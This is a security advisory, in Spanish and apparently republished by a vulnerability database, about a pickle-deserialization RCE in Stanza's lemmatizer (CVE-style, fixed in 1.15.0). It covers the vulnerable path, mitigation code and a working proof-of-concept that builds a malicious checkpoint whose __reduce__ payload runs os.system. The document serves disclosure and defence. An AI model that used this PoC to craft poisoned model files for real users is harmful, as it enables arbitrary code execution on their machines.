Stanza: RCE mediante deserialización pickle en el lematizador
Resumen
Cargar un archivo .pt de lematizador proporcionado por un atacante ejecuta código arbitrario bajo los privilegios del usuario que realiza la carga. Desde 1.14.0, el lematizador almacena pos_dict como un pickle comprimido con gzip en el campo dicts del punto de control (un valor de tipo bytes). torch.load(weights_only=True) procesa bytes como un tipo primitivo y lo deja pasar sin examinarlo, por lo que su lista permitida nunca inspecciona el flujo interno. Posteriormente, Trainer.load pasa esos bytes a un pickle.loads sin restricciones, el cual es el único uso directo de pickle.loads en el proyecto. Como resultado, weights_only=True no brinda protección y la carga del modelo ejecuta código.
Este comportamiento fue confirmado de extremo a extremo en Stanza 1.14.0 con PyTorch 2.13.0 en CPython 3.13.7: un punto de control manipulado cuya carga útil __reduce__ devuelve (os.system, (cmd,)) ejecutó el comando al momento de la carga (el archivo testigo mostró uid=501(...), executed_by=...).
Los usuarios están expuestos siempre que construyan una canalización que cargue un punto de control del lematizador suministrado externamente, por ejemplo mediante stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (o cualquier carga equivalente de un modelo no confiable mediante un registro personalizado), ya que esa llamada se enruta directamente a Trainer.load -> _unpack_pos_dict y ejecuta el pickle incrustado en el momento de la instanciación.
Ruta vulnerable
stanza/models/lemma/trainer.py:
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']
def _unpack_pos_dict(data): # line 54
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return pickle.loads(raw) # <-- unrestricted default unpickler
def load(self, filename, ...): # line 365
checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact
...
if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format)
self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation
Accesible desde la API documentada:
stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load.
Cualquier punto de control compartido, registro personalizado o ruta lemma_model_path proporcionada por el usuario llega a este punto. No se aplica verificación de suma de comprobación a rutas provistas por el usuario (la verificación MD5 solo existe en el flujo de descarga del registro predeterminado). La ejecución se desencadena durante la construcción de la canalización, antes de procesar ninguna entrada de inferencia.
Nota: Este fallo es independiente de la solución de contingencia de weights_only=False corregida en CVE-2026-54499: la carga externa se mantiene segura; el riesgo reside completamente en el pickle interno.
Prueba de concepto (PoC)
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS
MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")
class Payload:
def __reduce__(self):
return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict()
gz.write(pickle.dumps(Payload(), protocol=4))
ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)
loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())
El PoC invoca _unpack_pos_dict de forma directa: la expresión exacta en trainer.py:378. Alcanzarlo a través de stanza.Pipeline(...) requiere además que el archivo contenga una estructura config/vocab correcta para que load se ejecute hasta la línea 378 (determinado mediante revisión de código); la ejecución a través de la deserialización fue confirmada en tiempo de ejecución.
Mitigación
Deserializar el flujo interno utilizando el mecanismo RestrictedUnpickler que el proyecto ya emplea en stanza/models/common/doc.py (que solo permite tuple/list/dict):
from stanza.models.common.doc import RestrictedUnpickler
def _unpack_pos_dict(data):
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return RestrictedUnpickler(io.BytesIO(raw)).load()
Un pos_dict legítimo es un mapeo de cadenas {pos: {word: lemma}} anidado sin referencias globales a clases o funciones, por lo que carga correctamente, mientras que cualquier carga útil de tipo os.system es rechazada por find_class. JSON funcionaría de igual forma (todas las claves y valores son cadenas) y eliminaría pickle de esta ruta por completo. Debe aplicarse tanto a _unpack_pos_dict como, por compatibilidad futura, a _pack_pos_dict.
Qué hacer
Actualice Stanza a la versión 1.15.0 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | stanza | >= 1.14.0, < 1.15.0 | 1.15.0 |
Referencias
- https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5
- https://github.com/stanfordnlp/stanza/pull/1649
- https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0
- https://github.com/stanfordnlp/stanza
- https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0
- Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-502, CWE-94- Plataforma
- Python (PyPI)
- Paquete
stanza- Publicada
- 03.11.2026
- Actualizado
- 07.11.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-gh9r-c94j-cmp5 - CC BY 4.0
Historial de vulnerabilidades: stanza
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 2
- Primera → última
- 06.2026 11.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 2
Divulgaciones por año
- 2026: 2
-
Stanza: RCE mediante deserialización pickle en el lematizador esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.